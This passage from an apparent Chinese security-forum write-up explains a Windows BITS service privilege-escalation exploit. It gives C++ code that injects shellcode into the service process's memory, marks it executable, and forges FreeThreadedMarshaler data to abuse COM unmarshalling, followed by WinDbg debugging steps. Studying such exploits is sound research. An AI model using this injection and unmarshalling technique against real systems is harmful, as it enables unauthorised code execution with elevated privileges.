bstr_t szKey = _T( "aaaaaaaaaaaaaaa123456");
LPVOID lpRemoteAddress = VirtualAllocEx(btshl, NULL, szKey.length()+4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpRemoteAddress2 = VirtualAllocEx(btshl, NULL, szKey.length()+4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpRemoteAddress3 = VirtualAllocEx(btshl, NULL, szKey.length()+4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
std::vector<BYTE> secret(16);
//这里初始话我们CFreeMarshaler中自定义的的secret
memcpy(&secret[0], szKey, secret.size());
//构造secret
std::vector<BYTE> retdata= BuildFTMData(1, (ULONGLONG)lpRemoteAddress, secret);
//把构造好的secret传给TypeLibWrapper让他里面unmarshal成CFreeMarshaler
TypeLibWrapper *tlb = new TypeLibWrapper(target_tlb, secret);
//把参数写入bit服务的内存中
DWORD wrt;
ULONGLONG refptr = ((ULONGLONG)lpRemoteAddress2 - 8);
BOOL bl = WriteProcessMemory(btshl, lpRemoteAddress, &refptr, 8, &wrt);
if (wrt == 0)
{
printf("[x] can not WriteProcessMemory process:%d\n", GetLastError());
}
ULONGLONG refptr2 = (ULONGLONG)lpRemoteAddress3;
bl = WriteProcessMemory(btshl, lpRemoteAddress2, &refptr2,8, &wrt);
if (wrt == 0)
{
printf("[x] can not WriteProcessMemory2 process:%d\n", GetLastError());
}
bl = WriteProcessMemory(btshl, lpRemoteAddress3, shellcode, (strlen(shellcode) + 1)*sizeof(char), &wrt);
if (wrt == 0)
{
printf("[x] can not WriteProcessMemory2 process:%d\n", GetLastError());
}
//设置shellcode为可读写
bl = VirtualProtectEx(btshl,lpRemoteAddress3, len, PAGE_EXECUTE_READWRITE, &l);
}
//构造secret最终用来反序列化
std::vector<BYTE> BuildFTMData(UINT mshflags, ULONGLONG ptr, const std::vector<BYTE>& secret)
{
std::vector<BYTE> ret(4 + sizeof(ptr) + secret.size());
memcpy(&ret[0], &mshflags, sizeof(mshflags));
memcpy(&ret[4], &ptr, sizeof(ptr));
memcpy(&ret[4 + sizeof(ptr)], &secret[0], secret.size());
return ret;
}
`
参数都构造好了,就看最终CFreeMarshaler如何反序列化了,看代码:
`
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ CLSID *pCid)
{
GUID CLSID_FreeThreadedMarshaller = { 0x0000033A, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, } };
//这里返回CLSID_FreeThreadedMarshaller就可以了,bit服务会作为CFreeMarshaler来unmarshal;
memcpy(pCid, &CLSID_FreeThreadedMarshaller, sizeof(*pCid));
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
//往strem写入需要反序列化的数据也就是我之前构造的的secret
return pStm->Write(&_data[0], _data.size(), &written);
`
下面借助windbg来调试:
开启windbg双机调试,具体方法自己百度
第一步查看bits服务pid为976(16进制3d0)如图:
执行命令
!process 0 0 svchost.exe
查找bits服务
如图:
找到后它的process地址是fffffa8032b3e060
依次运行,注意一定要等windbg加载ole32的符号要不然断点无效
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2018-4-2 22:14
被王cb编辑
,原因: